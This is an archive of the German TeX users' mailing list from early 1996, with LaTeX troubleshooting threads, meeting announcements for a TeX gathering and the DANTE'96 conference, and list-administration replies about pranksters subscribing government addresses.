Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From owner-tex-d-l@VM.GMD.DE Thu Feb 29 10:27:15 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Klaus Braune Date: Thu, 29 Feb 1996 10:27:14 +0100 Subject: TeX-Stammtisch in Karlsruhe am 7.Maerz 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 7.3.96: TeX-Stammtisch am 7. Maerz 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert, herzlich eingeladen. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************** Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From owner-tex-d-l@VM.GMD.DE Sat Mar 2 14:08:06 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Sat, 2 Mar 1996 14:07:09 +0100 Subject: *.eps.gz und dvips Hallo, unter UNIX (in meinem fall Linux und teTeX) es gibt die Moeglichkeot unter Verwendung des scripts epsbb (aus epsfig) eps-Grafiken zu komprimieren und die BoundingBox in eine *.eps.bb-Datei extra zur verfuegung zu stellen, so das grosse eps-dateien komprimiert vorgehalten werden koennen. Man benoetigtz dazu das graphicx-Paket mit der option dvips. Das ist alles sehr gut dokumentiert. Doch bei einer Kleinigkeit habe ich Verstaendnisprobleme: wenn ich meine *.eps.gz Dateien nicht im lokalen Verzeichnis vorhalte sondern sie in einem speziellen Verzeichnis ../graphics/ habe, wo alle eps-dateien liegen (und bisher unkomprimiert eingebunden werden, da der Pfad teTeX mitgeteilt und ein texhash Lauf ausgefuehrt wurde), DANN findet nach einwandfreiem LaTeX-Lauf das vom dvips (5.58f) aufgerufene gunzip -c die eps.gz-dateien nicht.(Und das obwohl der dvips natuerlich vorher die unkomprimierten eps.-dateien immer gefunden hat!) Das kann ich mit ln -s irgendwie beheben, ABER: ich faende es besser, ich koennte dem dvips / gunzip iirgendwie sagen, dass neben dem . Verzeichnis auch der ../graphics/-Pfad durchsucht werden soll. Oder muss ich am Ende in dvips.def \DeclareGraphicsRule erweitern...? Hilfe bitte auch per PM Konrad Blum ----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From owner-tex-d-l@VM.GMD.DE Wed Mar 6 22:10:57 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Monika Sester Date: Wed, 6 Mar 1996 14:47:41 +0000 Subject: paper-sty hi texler, fuer ein paper muessen folgende vorschriften eingehalten werden: o zweispaltiger satz, allerdings: o titel, name und abstrakt sollen einspaltig sein. hat jemand einen sty-file, der sowas erledigt ? (auf one-column umschlalten funktioniert nicht, da er damit eine neue seite beginnt....) auf antwort hoffend -moni ----------------------------------------------------------- dr. monika sester - institut fuer photogrammetrie - uni-stuttgart monika.sester@ifp.uni-stuttgart.de 0711-121 3384 From owner-tex-d-l@VM.GMD.DE Thu Mar 7 03:04:51 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "GA06.GINGRICH" Date: Wed, 6 Mar 1996 16:32:16 EST Subject: WELCOME TO THE CONSTITUENT ELECTRONIC MAIL SERVICE Thank you for contacting me through the House of Representatives' Constituent Electronic Mail System (CEMS). I am pleased to be a part of this effort to offer citizens a quick and efficient way to communicate with their representatives in Congress. As the ability of Congress to communicate and share information over the Internet is expanded, I expect that program enhancements will be announced and additional members will choose to participate. Your patience during these early stages of the CEMS is greatly appreciated. You can learn more about the CEMS through the Internet address CONGRESS@HR.HOUSE.GOV. If you live in my Congressional District, please be assured that any message you send me over the Internet will be brought to my attention. Be sure to include your mailing address in your Internet message. Thank you again for your interest. Sincerely, NEWT GINGRICH MEMBER OF CONGRESS From owner-tex-d-l@VM.GMD.DE Thu Mar 7 02:59:25 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: autoresponder@WHITEHOUSE.GOV Date: Wed, 6 Mar 1996 16:34:23 -0500 Subject: Re: paper-sty Dear Friend: Thank you for writing to Vice President Gore via electronic mail. Since coming on-line, vice.president@whitehouse.gov has received thousands of messages from people all over the world. Although the volume of mail prevents the Vice President from personally reviewing each message, be assured that your concerns, ideas, and suggestions have been read carefully, and a detailed report of the mail is provided to the Vice President on a regular basis. Your message will be brought to his attention as part of that report. We currently are working toward a system that will allow us to respond more specifically to your messages. In order to do so, your help will be needed to ensure that we can read and record your message clearly. Please try to write short and concise messages, address only one issue per message, and send only one copy of your message. You will receive one automated response per day. On October 20, 1994, President Clinton and Vice President Gore acted to improve the accessibility of government information by opening a service called "Welcome to the White House: An Interactive Citizens' Handbook" on the Internet. This new World Wide Web service provides a single point of access to all electronic government information on the Internet. By using a free Web-browsing software program such as Mosaic or Cello, the user can access a multimedia interface to information from the White House and the Executive Branch of government, including White House documents, a virtual tour of the White House, and detailed information about Cabinet-level and independent agencies. This interface includes photographs, audio, and "hotlinks" to other government Web sites and services. You should check with your service provider for instructions on how to browse the Web. "Welcome to the White House" can be accessed at: http://www.whitehouse.gov Though the new Web server provides access to White House documents and publications, we will continue to provide these by e-mail. To receive instructions, please send a message to the following address (**do not "reply" to the memo you are now reading**): publications@whitehouse.gov In the body of your message, type "Send Info" (without quotes); no other text should be included, specifically message headers or signature lines (.sig files). The instructions will be sent to you automatically. Also, we now have a FAQ (Frequently Asked Questions) document that, among other things, lists certain other sources of government information. (The FAQ file is approximately 35K in size; you should check with your service provider to ensure that you can receive files of this size.) This FAQ address is an autoresponder only; any comment sent to this address will not be acknowledged. In order to obtain this, you should send an e-mail message to: faq@whitehouse.gov All of us at the White House are excited about the progress that has been made with this historic project, and we look forward to future developments. Your continued interest and participation are very important to us. Sincerely, Bill Mason Director of Correspondence for the Vice President [You will only receive one automated response per day] From owner-tex-d-l@VM.GMD.DE Thu Mar 7 16:05:24 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Berend van der Wall Date: Thu, 7 Mar 1996 16:03:59 +0100 Subject: Too many unprocessed floats Hallo LaTeX-Experten, in einem Dokument habe ich alle Bilder der Reihe nach am Ende des Dokuments untergeracht. Sie werden mit [h] positioniert und die Seiten mit \newpage umgebrochen, was mêglicherweise ðberflðssig ist, da die Bildgrê±en den nêtigen Umbruch auch von selbst erzeugen sollten. Wie dem auch sei, ab einer bestimmten Menge von \figure-Umgebungen (naemlich 24) erhalte ich folgende LaTeX Fehlermeldung: LaTeX error. See LaTeX manual for explanation. Type H for immediate help. ! Too many unprocessed floats. \@latexerr ...for immediate help.}\errmessage {#1} \@next #1#2#3#4->\ifx #2\@empty #4 \else \expandafter \@xnext #2\@@ #1#2#3\fi \@xfloat ...\count \@currbox \@tempcnta }\@fltovf \fi \global \setbox \@curr... l.1185 \begin{figure}[h] \vspace*{8cm}\Bild{LQM_Kr}{15}{0} ? Dies passiert auch, wenn statt des [h] ein [tbp] verwendet wird. Wie kann ich dem abhelfen? Ich arbeite mit: TeX, C Version 3.14t3 LaTeX Version 2.09 <25 March 1992> Standard Document Style `article' <14 Jan 92>. Document Style Option `german' Version 2.4a of 12 Apr 1992 Mit freundlichen Gruessen, Berend van der Wall. _______________________________________________________________________________ Deutsche Forschungsanstalt fuer Luft- und Raumfahrt e.V. Institut fuer Flugmechanik Berend van der Wall Postfach 32 67 Tel: +49 531 295 2849 38022 Braunschweig Fax: +49 531 295 2641 Deutschland Email: vdwall@fm.bs.dlr.de _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Thu Mar 7 16:33:05 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Tilman Bohn Date: Thu, 7 Mar 1996 16:19:29 +0100 Subject: Re: size14 und Verlage gesucht On Sat, 24 Feb 1996, Peter Schneider wrote: > Wenn es jemand gibt, der eine 14-pt-Klasse in allen Konsequenzen mit derselben > Qualitaet wie die bestehenden erstellt und in Umlauf bringt, nur zu! "am, ich dachte nur gerade bei mir: es war doch das ursr"ungliche Ansinnen, nach Verkleinerung akzeptable Ergebnisse zu haben. W"are es dann aber nicht sinnvoller, in 10pt zu arbeiten und einfach global zu scalen? So kommt dann nach der R"uckverkleinerung wieder 10pt raus, und zwar konsistent. MAW, w"are nicht eine 14-pt-Klasse gerade das, was man in diesem Zusammenhang *nicht* haben m"ochte? Just wondering. ('schuldiung, falls das eh schon jemand gesagt hat und ich's verpa"st hab.) > Nichts fuer ungut, wir ziehen am selben Strick in derselben Richtung! Da m"ochte ich mich anschlie"sen (bez. 'Selbstgestricktem'.) Cheers, Tilman Bohn ------------------------------------------------------------------------- | Institut f"ur theoretische Physik "Mathematical proofs, like | | Universit"at Heidelberg diamonds, are hard as well as | | clear, and will be touched with | | nothing but strict reasoning." | | -John Locke | ------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Thu Mar 7 17:52:24 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Thu, 7 Mar 1996 17:49:32 +0100 Subject: falsche eintraege (war: Re: paper-sty) Hubert Partl (partl@hp01.boku.ac.at) schrieb am 7.3.1996, 10:39:22 > > Thank you for writing to Vice President Gore via electronic > > mail. Since coming on-line, vice.president@whitehouse.gov has > > received thousands of messages from people all over the world. > > Da hat der Spassvogel, der Gore und Clinton in hunderte Mailing-Listen > eingetragen hat, also sogar unsere text-d-l auserkoren. ich wuerde einen anderen begriff verwenden. er hat naemlich nicht nur gore und clinton eingetragen, sondern noch erheblich mehr. ich habe jetzt als erstes mal die offentsichtlichen rausgeschmissen, als da waeren first.lady, president, vice-president und gingrich. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Thu Mar 7 18:16:58 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Thu, 7 Mar 1996 18:13:24 +0100 Subject: Re: Too many unprocessed floats Umbr"uche mit \newpage Hmmm...und wie machst Du Abs"atze? Etwa mit \\ statt mit \par bzw. Leerzeile? TeX braucht Abs"atze (richtige, keine erzwungenen Zeilenumbr"uche), um die Floats unterbringen zu k"onnen. --J"org Knappen. P.S. Deine Umlaute kamen hier sehr zerschossen an (isl"andische edh etc.) From owner-tex-d-l@VM.GMD.DE Fri Mar 8 10:50:26 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Kroener Date: Fri, 8 Mar 1996 10:51:14 +0100 Subject: Formelnumerierung Hallo TeXer, ich hab' folgendes Problem: es sollen zB. drei kurze Teilformeln a=b c=d e=f alphabetisch numeriert werden, also a=b c=d e=f (1a,b,c) Nach Moeglichkeit sollte man auch auf die ganze Numerierung (1a,b,c) mit \ref zugreifen koennen. Hat schon 'mal jemand so was gebraucht, gemacht oder irgendwo gesehen? Waere erfreut, Hilfe in irgendeiner Art und Weise zu erhalten! Danke, schon vorab, Juergen. -- =============================================================================== JJJJJJJJ KKK KKK | Juergen Kroener JJJJJJJJ KKK KKK | Institut fuer Physikalische und Theoretische Chemie JJJ KKK KKK | Universitaet Regensburg JJJ JJJ KKKKKK | D-93040 Regensburg (germany) !!!!!new zip-code!!!!! JJJ JJJ KKK KKK | JJJJJJ KKK KKK | ++49 941 - 943 4731 or ++49 941 - 943 4734 JJ KKK KKK | Email : Juergen.Kroener@chemie.uni-regensburg.de =============================================================================== From owner-tex-d-l@VM.GMD.DE Fri Mar 8 12:51:01 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Biechele Date: Fri, 8 Mar 1996 12:50:17 +0100 Subject: Labels mit ausdrucken ?? Ich suche einen Style der alle labels eines Textes am Rande ausdruckt. Dies sollte eigentlich der showlabels.sty tun. Jedoch werden bei mir keine labels zu Formeln, welche mit \begin{equation} geschrieben wurden ausgedruckt. Dafuer aber die \vref Befehle werden mit seltsamen Hieroglyphen am Rand ausgegeben. Ich benutze uebrigens in diesme Text auch das varioref Paket ! (und noch einige Pakete mehr) Sonst funktioniert aber alles perfekt. Vielen Dank fuer jeden Hinweis !! P.Biechele $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Peter Biechele , Rennweg 3, 79106 Freiburg, Tel. (0761) 50 89 33 Uni Freiburg, Fakultaet fuer Physik, Abt. Prof. Honerkamp, Zi. 906 Tel. (0761) 203-5875, EMail: pebi@phyq1.physik.uni-freiburg.de From owner-tex-d-l@VM.GMD.DE Sat Mar 9 18:35:58 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Sat, 9 Mar 1996 18:34:48 +0100 Subject: Re: Too many unprocessed floats Berend van der Wall schrieb vor einigen Tagen: : in einem Dokument habe ich alle Bilder der Reihe nach am Ende des Dokuments ^^^^^^^ : untergeracht. das ist schlecht. LaTeXs `figure'-Umgebung ist eine `float'-ende Umgebung, d.h. sie benoetigt Text drumherum... : Sie werden mit [h] positioniert ^^^ das ist noch schlechter, da `h'ere meint, dass es hier im __Text__ plaziert werden soll. Wenn aber erst alle Bilder am Ende des Dokuments, d.h. am Ende des "normalen" Textes auftauchen, dann muessen sie auf eigene Seiten, also `p'ages plaziert werden und benoetigen deshalb ein [p]. Noch besser ist es, wenn man das optionale Argument ganz weglaesst -- es ist ja optional --, da das `p' dann normalerweise erlaubt ist. Durch das [h] duerfen die Bilder also nicht plaziert werden, da `h'ier kein Text mehr folgt, so dass LaTeX erst mal alle Bilder zwischenspeichert. Da die Speicherplaetze fuer diesen Zweck jedoch nur endlich sind, geht eben LaTeX bzw. genauer TeX nach einigen ... [...] : Wie dem auch sei, ab einer bestimmten Menge von \figure-Umgebungen (naemlich : 24) ^^^^ eben die "Puste" aus und ... : erhalte ich : folgende LaTeX Fehlermeldung: : : LaTeX error. See LaTeX manual for explanation. : Type H for immediate help. : ! Too many unprocessed floats. [...] was ja auch den Kern der Sache gut trifft, oder nicht? :-) : Dies passiert auch, wenn statt des [h] ein [tbp] verwendet wird. Wie kann : ich dem abhelfen? Wenn eines der Bilder ein [h] hat und dieses kann nicht plaziert werden, so werden alle anderen auch mal zwischengespeichert, da die Reihenfolge der Bilder __nicht__ veraendert wird. Statt [h] kann es auch vorkommen, dass ein als `p' zu plazierendes Bild (bzw. mehrere zusammen) zu klein fuer eine eigene `float page' sind. Hier muss man evtl. noch den Parameter `\floatpagefraction' etwas verkleinern (\renewcommand{\floatpagefraction}{.5}), jedoch nicht zu klein, da man sonst sehr "leere" Seiten erhaelt. : Ich arbeite mit: : : TeX, C Version 3.14t3 : LaTeX Version 2.09 <25 March 1992> : Standard Document Style `article' <14 Jan 92>. : Document Style Option `german' Version 2.4a of 12 Apr 1992 Ein Update auf TeX 3.14159 (oder wenigstens auf 3.1415), auf LaTeX2e und german.sty 2.5b (2.5c ist gerade in der Mache) waere wohl nach 4 Jahren schon mal angeraten... MfG, -bernd PS: Zur Erinnerung: DANTE '96 und 14. Mitgliederversammlung 27.-29. Maerz 1996 Rechenzentrum der Universitaet Augsburg 86159 Augsburg Kontakt: Gerhard Wilhelms (dante96@uni-augsburg.de) oder DANTE e.V. (dante@dante.de) Infos: http://www.math.uni-augsburg.de/~wilhelms/dante96/ ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon Mar 11 17:08:44 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Tilman Bohn Date: Mon, 11 Mar 1996 16:33:48 +0100 Subject: Re: size14 und Verlage gesucht (fwd) Scheinbar ist das beim ersten mal nicht durchgekommen... (Au"serdem hab ich seitdem auch keine posts mehr bekommen. Problem?) Cheers, Tilman Bohn ---------- Forwarded message ---------- Date: Thu, 7 Mar 1996 16:19:29 +0100 (MET) From: Tilman Bohn To: German TeX Users Communication List Subject: Re: size14 und Verlage gesucht On Sat, 24 Feb 1996, Peter Schneider wrote: > Wenn es jemand gibt, der eine 14-pt-Klasse in allen Konsequenzen mit derselben > Qualitaet wie die bestehenden erstellt und in Umlauf bringt, nur zu! "am, ich dachte nur gerade bei mir: es war doch das ursr"ungliche Ansinnen, nach Verkleinerung akzeptable Ergebnisse zu haben. W"are es dann aber nicht sinnvoller, in 10pt zu arbeiten und einfach global zu scalen? So kommt dann nach der R"uckverkleinerung wieder 10pt raus, und zwar konsistent. MAW, w"are nicht eine 14-pt-Klasse gerade das, was man in diesem Zusammenhang *nicht* haben m"ochte? Just wondering. ('schuldiung, falls das eh schon jemand gesagt hat und ich's verpa"st hab.) > Nichts fuer ungut, wir ziehen am selben Strick in derselben Richtung! Da m"ochte ich mich anschlie"sen (bez. 'Selbstgestricktem'.) Cheers, Tilman Bohn ------------------------------------------------------------------------- | Institut f"ur theoretische Physik "Mathematical proofs, like | | Universit"at Heidelberg diamonds, are hard as well as | | clear, and will be touched with | | nothing but strict reasoning." | | -John Locke | ------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Mon Mar 11 17:15:36 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Tilman Bohn Date: Mon, 11 Mar 1996 16:40:42 +0100 Subject: Re: size14 und Verlage gesucht Hab das beim ersten mal vom falschen account gepostet... On Sat, 24 Feb 1996, Peter Schneider wrote: > Wenn es jemand gibt, der eine 14-pt-Klasse in allen Konsequenzen mit derselben > Qualitaet wie die bestehenden erstellt und in Umlauf bringt, nur zu! "am, ich dachte nur gerade bei mir: es war doch das ursr"ungliche Ansinnen, nach Verkleinerung akzeptable Ergebnisse zu haben. W"are es dann aber nicht sinnvoller, in 10pt zu arbeiten und einfach global zu scalen? So kommt dann nach der R"uckverkleinerung wieder 10pt raus, und zwar konsistent. MAW, w"are nicht eine 14-pt-Klasse gerade das, was man in diesem Zusammenhang *nicht* haben m"ochte? Just wondering. ('schuldiung, falls das eh schon jemand gesagt hat und ich's verpa"st hab.) > Nichts fuer ungut, wir ziehen am selben Strick in derselben Richtung! Da m"ochte ich mich anschlie"sen (bez. 'Selbstgestricktem'.) Cheers, Tilman Bohn ------------------------------------------------------------------------- | Institut f"ur theoretische Physik "Mathematical proofs, like | | Universit"at Heidelberg diamonds, are hard as well as | | clear, and will be touched with | | nothing but strict reasoning." | | -John Locke | ------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Tue Mar 12 12:14:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Baz Baz Date: Tue, 12 Mar 1996 00:08:42 -0500 Subject: Re: size14 und Verlage gesucht (fwd) Get me off this list. This list runs a server that allows people to subscribe others against their will. This is negligence. Please remove us from this list. Please upgrade your list server so that it verifies new subscriptions. From owner-tex-d-l@VM.GMD.DE Tue Mar 12 12:35:31 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Tue, 12 Mar 1996 12:25:22 +0100 Subject: faked adresses Baz Baz (baz@liquidsky.com) schrieb am 12.3.1996, 00:08:42 > Get me off this list. This list runs a server that allows people to > subscribe others against their will. This is negligence. Please remove > us from this list. Please upgrade your list server so that it verifies > new subscriptions. there has been a subscription from Baz Baz (baz@liquidsky.com) to this list. this account is also authorised to unsubsribe. we have no possibility to check whether an email adress is a fake or not. anyway, i'll unsubscribe you (baz@liquidsky.com) from tex-d-l. with kind regards luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. P.O. Box 101840 69008 Heidelberg Secretary DANTE e.V. Germany Tel: +49 6221 29766 Fax: +49 6221 167906 email: dante@dante.de Infos: ftp.dante.de or ftpmail@dante.de /tex-archive/usergrps/dante/ or http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Tue Mar 12 16:57:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Tilman Bohn Date: Tue, 12 Mar 1996 16:41:23 +0100 Subject: Re: size14 und Verlage gesucht (fwd) 'Schuldigung wenn das etwas sp"at kommt, hab es zuerst vom falschen account gepostet, und zwischenzeitlich verpennt die subscription auf dem 'richtigen' zu renewen. ---------- Forwarded message ---------- On Sat, 24 Feb 1996, Peter Schneider wrote: > Wenn es jemand gibt, der eine 14-pt-Klasse in allen Konsequenzen mit derselben > Qualitaet wie die bestehenden erstellt und in Umlauf bringt, nur zu! "am, ich dachte nur gerade bei mir: es war doch das ursr"ungliche Ansinnen, nach Verkleinerung akzeptable Ergebnisse zu haben. W"are es dann aber nicht sinnvoller, in 10pt zu arbeiten und einfach global zu scalen? So kommt dann nach der R"uckverkleinerung wieder 10pt raus, und zwar konsistent. MAW, w"are nicht eine 14-pt-Klasse gerade das, was man in diesem Zusammenhang *nicht* haben m"ochte? Just wondering. > Nichts fuer ungut, wir ziehen am selben Strick in derselben Richtung! Da m"ochte ich mich anschlie"sen (bez. 'Selbstgestricktem'.) Cheers, Tilman Bohn ------------------------------------------------------------------------- | Institut f"ur theoretische Physik "Mathematical proofs, like | | Universit"at Heidelberg diamonds, are hard as well as | | clear, and will be touched with | | nothing but strict reasoning." | | -John Locke | ------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Thu Mar 14 17:47:35 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Kroener Date: Thu, 14 Mar 1996 08:14:39 +0100 Subject: Formelnumerierung Hallo TeXer, ich hab' folgendes Problem: es sollen zB. drei kurze Teilformeln a=b c=d e=f alphabetisch numeriert werden, also a=b c=d e=f (1a,b,c) Nach Moeglichkeit sollte man auch auf die ganze Numerierung (1a,b,c) mit \ref zugreifen koennen. Hat schon 'mal jemand so was gebraucht, gemacht oder irgendwo gesehen? Ich waere erfreut, Hilfe in irgendeiner Art und Weise zu erhalten! Danke, schon vorab, Juergen. -- =============================================================================== JJJJJJJJ KKK KKK | Juergen Kroener JJJJJJJJ KKK KKK | Institut fuer Physikalische und Theoretische Chemie JJJ KKK KKK | Universitaet Regensburg JJJ JJJ KKKKKK | D-93040 Regensburg (germany) !!!!!new zip-code!!!!! JJJ JJJ KKK KKK | JJJJJJ KKK KKK | ++49 941 - 943 4731 or ++49 941 - 943 4734 JJ KKK KKK | Email : Juergen.Kroener@chemie.uni-regensburg.de =============================================================================== From owner-tex-d-l@VM.GMD.DE Thu Mar 14 18:04:11 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Alexander Salamon Date: Thu, 14 Mar 1996 11:12:41 +0100 Subject: Promille-Zeichen Halli hallo! Kann mir einer von Euch vielleicht dabei helfen, wie ich Promille- Zeichen "erzeugen" kann. Ich verwende LaTeX2e mit den cm-Schriften. Danke! ---------------------------------------------------------------------- Mit freundlichen Gruessen Alexander Salamon Wasserbauzeichensaal Graz University of Technology Stremayrgasse 10 A-8010 Graz, Austria, Europe internet: salamon@bzs.tu-graz.ac.at ---------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Fri Mar 15 08:47:55 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 15 Mar 1996 08:47:09 +0100 Subject: Re: Promille-Zeichen Alexander Salamon schreibt: : Kann mir einer von Euch vielleicht dabei helfen, wie ich Promille- : Zeichen "erzeugen" kann. Ich verwende LaTeX2e mit den cm-Schriften. DE-TeX-FAQ (http://www.dante.de/dante/dante-faq.html bzw. Newsgroup de.comp.tex), Frage 6.5.2 der letzten Version. Antwort: 1) mit DC-Fonts 1.2: Promillezeichen aus der Text-Companion-(tc)-Schrift der DC-Fonts: \usepackage{textcomp} \textperthousand dc-fonts, tc-fonts: CTAN: fonts/dc/ textcomp: CTAN: fonts/psfonts/ts1/ (momentan als Testversion!) 2) mit wasy-Schriften: Promillezeichen aus den `wasy'-Schriften: \usepackage{wasyym} \permil wasy: CTAN: fonts/wasy2/ wasysym: CTAN: macros/latex/contrib/supported/wasysym/ 3) sonst muss man sich das Zeichen aus `0' und hoch-/tiefstellen selbst zusammensetzen, was aber ein optisch nicht zum Prozentzeichen passendes Ergebnis liefern wird (siehe z.B. TeXnische Komoedie, Dezember 93 bzw. TeXbook, Loesung zu Uebung 11.6 bzw. DE-TeX-FAQ). -bernd From owner-tex-d-l@VM.GMD.DE Mon Mar 18 17:15:54 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Mon, 18 Mar 1996 17:14:32 +0100 Subject: Anmeldung zur TeX-Tagung DANTE'96 es wird langsam zeit, sich anzumelden!!! wer es noch nicht gemacht hat, sollte sich sputen! nur noch eine woche... mit freundlichem gruss luzia dietsche Liebe TeX-Interessierte, wie schon mehrfach angek"undigt, findet vom 27.3. bis 29.3.96 die TeX-Tagung DANTE'96 in Augsburg statt. Diese Tagung steht allen Interessierten offen und wird von der DANTE, deutschsprachige Anwender- vereinigung TeX e.V., in Zusammenarbeit mit dem Rechenzentrum der Universit"at Augsburg veranstaltet. Die Teilnahme an den Tutorien und der Mitgliederversammlung von DANTE e.V. sind kostenfrei. F"ur die Vortr"age, Diskussionen und das Tagungsessen ist ein Beitrag zu entrichten, und zwar: DM 50.- f"ur Mitgleider von DANTE e.V. und anderen TeX-Vereinigungen DM 100.- f"ur Nichtmitglieder Das Programm der Tagung sieht wie folgt aus: Mittwoch, 27. M"arz: ab 8:00 Registrierung 9:00-11:00 LaTeX2e Tutorium von Rainer Sch"opf 10:00-11:30 Einbinden von PostScript-Grafiken in LaTeX/LaTeX2e von Reinhard Zierke (Tutorium) 12.00 Mittagspause 13:30-18:00 Feinheiten beim (wissenschaftlichen) Buchsatz mit LaTeX/LaTeX2e von Marion Neubauer (Tutorium) 13:30-14:30 Header-files f"ur DVIPS (T.\ Rokicki), PostScript Tutorium von J"urgen Gl"ockner 15:00 e-TeX-"Uberblick und Statusbericht von Bernd Raichle 9:45, 16:00 Kaffeepausen ca. 18:45 Special Event: Besuch des Sparkassen-Planetariums (kostenfrei). ca. 19:30 Augsburg individuell, Anleitung f"ur interessante Unternehmungen auf eigene Faust; Essen, Kino, Kneipen, Veranstaltungen. Gelegenheit zum gemeinsamen Essen. Donnerstag, 28. M"arz: ab 8:00 Registrierung 9.00 Begr"u"sung (Joachim Lammarsch, Pr"asident von DANTE e.V., Prof. Dr. Hans-Joachim T"opfer, Wissenschaftlicher Leiter des Rechenzentrums der Universit"at Augsburg) 9:30 DANTE-Mitgliederversammlung (H"orsaal~1001, WiSo-Fakult"at) 10:30 Kaffeepause 11:30 Mittagspause 13:00 Arbeitsprinzipien der Programmiersprache TeX von Joachim Schrod 14:15 TeX-basierte Dokumentationssysteme von Reinhard Zierke 15:00 Kaffeepause 15:30 DIN-genormte Literaturzitate? Von Bib\TeX, OPAC's und deutschen Bibliographiestilen von Klaus F. Lorenzen 16:30 Was ist HTML? von Simone Demmel 15:30 Tutorium: Programme im Umfeld zu TeX von Klaus Braune 17:30 Sammeln zur Stadtf"uhrung (Rathausplatz) 18:00 2000 Jahre Augsburg in 120 Minuten anschlie"send Tagungsessen Freitag, 29. M"arz: 9.00 Der Entwurf der Schriftfamilie "`Computer Modern Bright"' und ihre Integration in \TeX\ und \LaTeX von Walter Schmid 9.00 \TeX\ total verstrickt im Internet - Auf der Suche nach Informationen zu \TeX\ im Internet von G"unter Partosch 10:15 Kaffeepause 10:45 "Uber die Leiden beim Basteln einer alten/neuen Fontfamilievon Gerd Neugebauer 11:45 Abschlu"sdiskussion, Ergebnisse der Tagung 13:30 Ende der Tagung Weitere Informationen finden Sie auch auf den WWW-Pages: http://www.Uni-Augsburg.DE/dante96/ F"ur Anmeldungen, Nachfragen und Anmerkungen wenden sie sich bitte an Gerhard Wilhelms _____________________________________________________________________ Universitaet Augsburg Kontaktstudium Universitaetsstrasse 16 Tel : 0821/598-4025 D-86159 Augsburg Fax : 598-4213 eMail: 